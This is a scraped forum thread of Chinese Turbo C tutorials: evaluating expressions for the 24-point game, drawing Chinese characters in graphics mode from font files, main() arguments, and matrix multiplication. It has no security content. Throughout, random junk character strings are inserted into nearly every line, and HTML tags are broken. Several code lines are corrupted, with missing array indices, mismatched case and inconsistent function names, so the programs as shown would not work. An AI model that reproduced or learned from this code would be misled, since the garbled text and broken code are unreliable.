case '=': p=-1; break;9 ]$ f. p1 @3 q) U6 n: V8 s4 E3 W
}
4 y5 {  D  }$ D3 L% B& Ireturn(p);7 b& y( B" I' X. m& }% P1 [
}% ~0 q- D7 l8 C/ f7 v5 y, f4 }
/* 此函数实现中缀到后缀的转换 */
" F& _% X5 p/ `* M9 e/* M的值宏定义为20 */
+ O, o8 v  O9 Q. M- a9 f0 y, O) o/* sp[]为表达式数组 */6 {% s+ m" I+ V+ h8 N7 S
int mid_last()
7 t# l+ o) t2 v  c{ int i=0,j=0; char c,sm[M];
2 J4 H- ?, D6 ]+ jc=s[0]; sm[0]='='; top=0;0 W5 Q5 D* T4 `9 p
while(c!='\0')
/ p7 X3 d( U3 R; S6 f{ if(islower(c)) sp[j++]=c;
. L+ c" g7 H# d6 Q2 Q2 aelse switch(c)
8 C* E+ \8 F9 G' J+ f% e+ T, a{ case '+':; Z9 \: A1 ^+ n3 A* k
case '-':2 z4 h, A6 H: F0 U7 r) ~
case '*':
3 L. M6 R$ N* u9 j9 Fcase '/': while(first(c)&lt;=first(sm[top]))" C4 p9 @/ I7 o8 g; V6 {( l& ]/ S/ K
sp[j++]=sm[top--];7 [* ~, p9 }' F1 ~
sm[++top]=c; break;
( V1 _9 e, e, _- Y+ @case '(': sm[++top]=c; break;/ ^. Q( b) I1 M3 t# b
case ')': while(sm[top]!='(')
" Q0 l7 N, Z3 x/ V- t6 s- Zsp[j++]=sm[top--];
. U* l/ I9 o: Q# a5 h, z6 L3 @3 s: Vtop--; break;
0 c  Y( c2 A& E( Rdefault :return(1);
+ @. v0 H3 H* l* F}( Y/ A( a- \# [' [. ^
c=s[++i];. ?6 K. H1 B6 N+ W8 C
}7 Q. u! A. C8 {1 n
while(top&gt;0) sp[j++]=sm[top--];4 P" i. c$ V4 h$ [9 P5 j) O) P
sp[j]='\0'; return(0);
" w9 c$ ^' D# V# r6 h/ q}" [# Y1 ]2 @& }! d
/* 由后缀表达式来计算表达式的值 */0 |. U( X6 \6 a1 I$ x) [: P+ f3 ^
int calc()& t4 ?% X- m* }" \: L9 H
{ int i=0,sm[M],tr; char c;; l& r0 v5 b2 M/ L0 w6 i: U
c=sp[0]; top=-1;
; `$ H6 G& x4 kwhile(c!='\0')
/ {. ?9 S: k$ M. x/ [. m: n8 t% h{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
2 @6 h1 n/ E! [( B& w& O这样才可以更方便的处理非一位数,
0 e9 v( J" t: x1 X' N1 R* q; Uver数组中存放着这些字母所代替的数*/
$ A7 R$ l5 ^! c% Xelse switch(c)( K( x4 e6 m; c/ F; s4 ~' f6 M
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
9 |) ~2 Q& x! g  Wcase '-': tr=sm[top--]; sm[top]-=tr; break;
, Y; t4 D& m6 b/ g( s3 ]+ Tcase '*': tr=sm[top--]; sm[top]*=tr; break;9 ?% D0 x. A3 o+ K: D" x# {
case '/': tr=sm[top--];sm[top]/=tr;break;
# g' C0 o" R6 G: {default : return(1);$ b" Q# K: L' z; o
}! [+ C! [3 m% M$ F
c=sp[++i];' }! |7 @8 p6 e& E9 Z4 G
}7 v& h0 Z9 Y. A1 C- X0 t. e1 D
if(top&gt;0) return(1);  j# \5 g' K8 K# O: S  o; t! D  h
else { result=sm[top]; return(0); }
/ R* W, n3 x5 K}
, j5 V9 k( m" Q$ Q9 i+ @+ f- x6 m</FONT>- e9 {( t: t' U$ y. y
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
+ q5 _) d6 w( b# _8 E
. @. W% {" j4 c$ P3 N  最后我总结了一下这其中容易出错的地方——4 n% V3 {# r& }# V% i" S1 c

% b3 \( _0 G% W" M- p( M. W  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
" R, Y* N$ V- }6 b( l
0 h7 @4 A( u" ~3 w  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
+ f% f" R: I' v: W  a! e6 x4 v, G3 Q& Z; Z% p
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
" u4 u+ x3 u3 u6 }8 B* ?$ \
0 N$ s7 ^+ Z1 Q1 f+ C  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。6 J6 ^& F, S4 `# h

3 _% u8 }& y2 T" O2 |  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。+ {" ?' d/ K$ G. ~4 e1 |( i
9 H3 V7 Q: c% V: j! M' z
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
! R/ c/ j4 V) x: o, {4 p
+ K9 Y# S% d3 H  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
  ~) c4 |" U/ f* N+ i% F$ r% O- d</P>
作者: 韩冰    时间: 2004-10-4 02:41
< align=center><FONT color=#cc0000 size=5><B>0 S5 Y. a( X0 x( A8 Q* D2 z
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
; j& z  S) d5 c# M9 _: B  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。& q# B8 C- R/ [7 W, Q( ]
  汉字显示的第一步是打开字库文件。 " I9 X( |4 w: o) |/ ?/ m
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
+ \6 l" `, f% r7 s$ Z  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)' I# z' d- {+ V5 K, R( p
{& }, i- V1 g: o
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/# h1 y9 D3 r9 p% [+ i' N* }
int rec,i1,i2,i3; /*z:space between;*/% Y6 V( v+ \. H- U; A8 S7 H9 o% G
long l; /*color:txt color*/, y7 \, x$ A! _" D$ Y! d) r3 ?7 X
char by[32]; /*p:HZ str*/
1 o5 g* y: X. W" q+ W  S1 Kif( handle&lt;0 ) return -1; while((i=*p++)!=0){
7 y% r* k, d7 R: C5 H/ iif(i&gt;0xa1)  E$ I! v$ J) @; @
if(f==0){
; ~$ I4 u& B5 B" r9 o4 Fc1=(i-0xa1)&amp;0x07f;
3 r9 Q; s; [& \, h) k# Xf=1;9 G1 f: B8 i( X, N3 a# i- c! v
}* J4 T3 P5 Z( E% _( r
else{
8 ?( d& f6 S2 }9 R! y" ]# ac2=(i-0xa1)&amp;0x07f;
: ~. H. S" x6 L/ i; Wf=0;
& O. i" [5 r8 G! r/ R- X6 _rec=c1*94+c2;6 w- {; x; @0 [5 j. ~0 x8 T) I* |
l=rec*32L;
0 v; W2 T# @- [1 A% L$ Q* `lseek(handle,l,SEEK_SET);
% f3 _# N$ k8 t1 F+ Uread(handle,by,32);
# `( {3 ?5 E) c; T/ J& h" pfor(i1=0;i1&lt;16;i1++)
3 T2 q0 e. c9 Z9 Z/ kfor(i2=0;i2&lt;2;i2++)
0 y& m+ F2 g! @5 d1 G$ Lfor(i3=0;i3&lt;8;i3++)
6 T4 r% Y$ ]7 Eif(GetBit(by[i1*2+i2],7-i3))
$ g. v: g' d& S$ X. x, Zputpixel(x+i2*8+i3,y+i1,color);
- F4 _: P: F  X5 p( q2 n, C7 xx=x+z+16;
" ~) V+ I# A1 X$ o) N, J}
& g0 n3 W6 K$ z8 T% K% Q}
* \! P1 P. ?; `8 [% F; V% ereturn(x);' j/ I  j8 k8 t1 Z5 e- K5 j" k6 Z
}6 R3 P0 n, L% O0 u) X( ]
函数GetBit定义如下:8 L4 Q5 g+ y" @
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。' S  v0 [; b8 E7 V2 d9 s
int GetBit(unsigned char c,int n)
9 h7 ^! G/ w: g* D{
3 v7 |2 B: k  sreturn((c&gt;&gt;n)&amp;1);
* v( K5 l3 m% F( W) p}
8 V2 c2 g- X5 i( w& U( _: q, J汉字显示结束,应该关闭字库文件。: \; B4 F( d% m4 T& o+ R9 A& [, R
void CloseHz(void)
" }4 X9 U$ }  o4 `* I, M{
* Y+ I. l* l/ j3 U' Lclose( handle );+ V+ o8 j4 U! x/ Y
}
9 \% u0 {# a3 r4 ]" D8 }#include "\Caic\Include\Hz.h"1 \- R1 c0 C' t# }$ c/ L
#include <GRAPHICS.H>2 J5 f# G# w! ]4 b  X3 {; I
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
  Z% Y# _! S, m9 O& x" Qconst char* HzStr = "苦丁香C语言辅助学习软件";: ], B( d3 Y, C' d
void main(){
3 s% H; m6 @( o9 @int gr=DETECT,gm;
* H  k" e4 c: i/ S, oinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");1 j0 d  L' r! O, r, M: T
OpenHz( Hz16Path );
3 O5 U0 z2 _5 o' WWrt16Hz(20,20,4,RED,HzStr);* `  F% r5 K7 a4 @
CloseHz();6 m5 d1 F1 T7 ~% W! l
getch();
" R0 F8 u- X4 c6 p& t6 ^+ bclosegraph();1 {1 ~6 T5 J3 s, W) b
}显示24点阵及放大汉字
# B0 G3 S1 W9 Y% Z3 Q3 C  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。1 [- }' _( ^% B
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。/ G$ j, ^9 o/ V  ^( M/ S
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)1 L  P, q3 \3 W. \  p
{4 O$ H6 K/ A$ f1 j% m2 a# M
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/7 S) m: d+ y' w: [
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
# V& ]) I/ r; h, Tlong l; /*color:汉字颜色*/; _) d# f3 ~" S# d$ N5 ]5 d9 ~4 s
char by[72]; /*m: x 方向的放大倍数*/3 d3 J0 h7 P) D: a" h  o7 a, B( p
/*n: y 方向的放大倍数*/
( o! }" {8 `3 U) {* u# l# Rif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
. `7 N& N; G2 ^- b0 dif(i&gt;0xa1)
0 ^- u, G* z) r) i9 e+ P) Qif(f==0){
9 V+ \7 J2 E  ?2 X4 Kc1=(i-0xa1)&amp;0x7f;
  p5 i7 w4 _( [f=1;- t/ _' w8 r4 S# m* S. B( O
}
, B  }8 q3 v1 {else{6 E( A8 d. `! i' ?( ~
c2=(i-0xa1)&amp;0x7f;
% P$ D3 M$ r8 Y+ tf=0;
' l( R4 o% H, Q1 nrec=(c1-15)*94+c2;
4 f8 \) y: V! ?l=rec*72L;1 F: X3 \1 r; I' I( ]' T9 G5 Y: H2 @
lseek(handle,l,SEEK_SET);/ Y1 h8 c* t& [) [8 f; P
read(handle,by,72);
5 z8 J0 x7 V: w/ d7 n% g0 {for(i1=0;i1&lt;24*m;i1=i1+m)
- k8 N) r4 V& [. z+ r5 ^7 `for(i4=0;i4<M;I4++)
& R  U. {$ D4 F# j for(i2=0;i2&lt;=2;i2++)
1 Y7 j( V, }) afor(i3=0;i3&lt;8;i3++)% l, J# T, }) G
if(GetBit(by[i1/m*3+i2],7-i3))
1 Z, K: e& |/ y8 B+ v( Z8 X: bfor(i5=0;i5<N;I5++)6 c9 N3 v, L8 Z$ a- y0 m* }
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);( V3 _( Y% o% @0 o# i5 ?
x=x+24*m+z;
% ~5 e* y! H9 a: u: D6 \/ j}
# H9 G: e9 f8 u% K1 {9 [- G}6 b# b4 l7 q$ N" H9 U# _
return(x);, n+ u, u8 M. f* r* W2 K
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
2 s2 E4 K: Q4 o  U9 Q#include <GRAPHICS.H>1 z; I$ E3 M) s5 N7 F
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
3 d7 g; Y3 D2 \, n+ v( @, uconst char* HzStr = "苦丁香C语言辅助学习软件";
. U2 M; b  t/ `' h9 l. @void main(){% m* t* S0 D6 D
int gr=DETECT,gm;' l9 R  U1 \1 p. Z% u
initgraph(&amp;gr,gm,"\\Caic\\Bgi");1 c+ T1 i+ U# ^  s
OpenHz( Hz24Path );6 r8 l& x8 e; _  ?0 R0 {
Wrt24Hz(20,20, /*先是在(x,y)*/
% U4 g+ e' C2 i4, /*汉字间的空格为4*/  m- C! S0 W3 B
RED, /*用红色显示*/! l! h% }5 I9 i7 Y$ S' c
2, /*x 方向放大2倍*/
1 O. Q3 A! {6 o' {4, /*y 方向放大4倍*/
( [9 l+ Y; g2 H: [; j, KHzStr); /*显示字符串*/3 y, w. L( v4 t/ Q  y8 V
CloseHz();9 h% y* v  \  i1 B% g
getch();
9 T, G2 ]8 [- }4 p. t) Fclosegraph();
2 M- q7 V5 W& ]: i0 U  b! v}
  F: \6 ^" C3 Y/ d3 a</P>
作者: 韩冰    时间: 2004-10-4 02:41
<>  再谈main()主函数
. m( P+ w, y8 x9 m0 q6 i2 n  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。) q" z/ [3 C8 M% @* B
1. main() 参数
! Q: G0 t. v7 a9 q# t% R  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
" B6 H( o( D# T% V  S  t' w7 L& L- a, t2 p  * argc: 整数,为传给main()的命令行参数个数。# n% j7 ]- V' K; E
  * argv: 字符串数组。' x* f( e& m) X' H, D6 \* X
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
4 q- X2 D/ O& G8 }& L- n对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
, e  ?8 z8 E2 Z4 e: K2 v+ G$ `...
1 r& U$ F5 Q1 q- Z7 t# Iargv[argc]为NULL。
; b/ s: V1 u- p  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
: ?0 O( H. e+ g$ ?3 J+ o值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
作者: 韩冰    时间: 2004-10-4 02:43
< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/0 A0 \8 z0 t% Z3 u6 x' K( \
#include&lt;stdio.h&gt;' w/ E. T! R/ T+ S3 G
#include&lt;conio.h&gt;
% N& G1 d. }% e& D7 F- Z" }! ~#define X 3; ?* v4 [) E7 b
#define Y 3</P><>int a[X][Y];
; e. p7 W+ c- ~  R6 J6 hint b[X][Y];
' O. p2 V& X$ Y6 s9 i% hint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);  ]+ ]6 }$ \5 x  H* E# e3 u8 m7 Q
main(). S7 H7 S/ R" V4 z9 S
{4 g8 S: |9 J0 Y7 w0 z4 z7 \2 s  q
int i,j,temp;
# r1 r/ j5 y8 B" ?2 hclrscr();
- I, U3 @5 z1 O: l& a1 Uprintf("lease input int matrix b[%d][%d]\n",X,Y);
# x5 T3 o. Y. ?3 ~- o9 y# H  U5 Yfor(i=0;i&lt;Y;i++)
; }+ G4 W, ]3 @" Xfor(j=0;j&lt;Y;j++){
1 z* U. Y, |4 Y- a! o9 m) Rscanf("%d",&amp;temp);
9 [; H" s2 L4 b" G1 e( |0 w+ kb[j]=temp;& T" j( [# ~- ?& u, q
}
' s% \7 n' D7 S) z# B" M4 Oprintf("lease input int matrix c[%d][%d]\n",X,Y);
% Z0 F3 c" d& X! u8 @2 sfor(i=0;i&lt;X;i++)
& G1 D& m+ P+ H* jfor(j=0;j&lt;Y;j++){
3 _  H  A1 a) w6 v" [2 uscanf("%d",&amp;temp);
7 p; z- _1 ^; H+ Ic[j]=temp;+ J2 ]/ n0 ~# m- H. t4 A0 D
}# S1 H' Y2 O( |; ]
matrix(b,c);
2 Q. C2 r% O" g5 @. kprintf("Now print resource matrix b[%d][%d]=",X,Y);1 O  n2 i) P" h6 E
for(i=0;i&lt;X;i++){3 N* `5 q! F( i& a, b6 d% i
printf("\n");% H" @8 s/ {) c% S  \6 s
for(j=0;j&lt;Y;j++)
0 ]' \1 Q; h2 @+ S" H( P/ uprintf("%d ",b[j]);9 l# B: S' C8 `/ H4 e
}
- |& B6 W% A0 r- e7 [; k% bprintf("\n");  L% l& A+ I3 M) c) U& |+ N
printf("Now print resource matrix c[%d][%d]=",X,Y);
9 o7 [+ B; h. x- yfor(i=0;i&lt;X;i++){; r: I, n1 d" G9 E8 X7 F
printf("\n");, X+ ^1 x- y, U2 f" `9 \0 D
for(j=0;j&lt;Y;j++)7 _. f* u; k5 d+ D3 y
printf("%d ",c[j]);. P0 G) @; P/ h( Y( y% F
}
, A: c7 H. c# g: [0 |* yprintf("\n");7 |5 v2 {0 G  S
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);+ M% T, w* ?# k( Z
for(i=0;i&lt;X;i++){+ C; d/ R  p3 F/ W
printf("\n");8 t; {0 D, x4 h, B
for(j=0;j&lt;Y;j++); ]9 [( `/ j( Z( M5 z  {' d
printf("%d ",a[j]);# q: N. _$ y& V2 k" D6 S" S% a
}: S9 {: E9 _8 m
getch();
; o. }" k/ R0 x6 W: D5 w/ k2 Rreturn 0;/ g& I% N7 }) f. K# t( S; W
}' q- ^- q( F: B) \6 e, r
/********************************************************************/
  S) Z+ g2 _" R$ c! z/ Uvoid matrix(int b[][X],int c[][Y])* G( k" o5 w8 u2 \# ?2 E
{6 }( _. a9 U! B: N! _: S2 k6 h, J1 R
int i,j,k,temp;
. w# m: v# s1 t$ g9 K2 pfor(i=0;i&lt;X;i++)& z& {* A- H; r+ p9 y9 o  d6 [
for(j=0;j&lt;Y;j++){) F# K% f+ x( l* Z
for(k=0;k&lt;Y;k++)
1 c' a' V6 \" ~" pa[j]+=b[k]*c[k][j];
$ }# `" K( o. h  N! U( v+ m}& W9 Q7 G$ Y& L5 x  C
}</P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5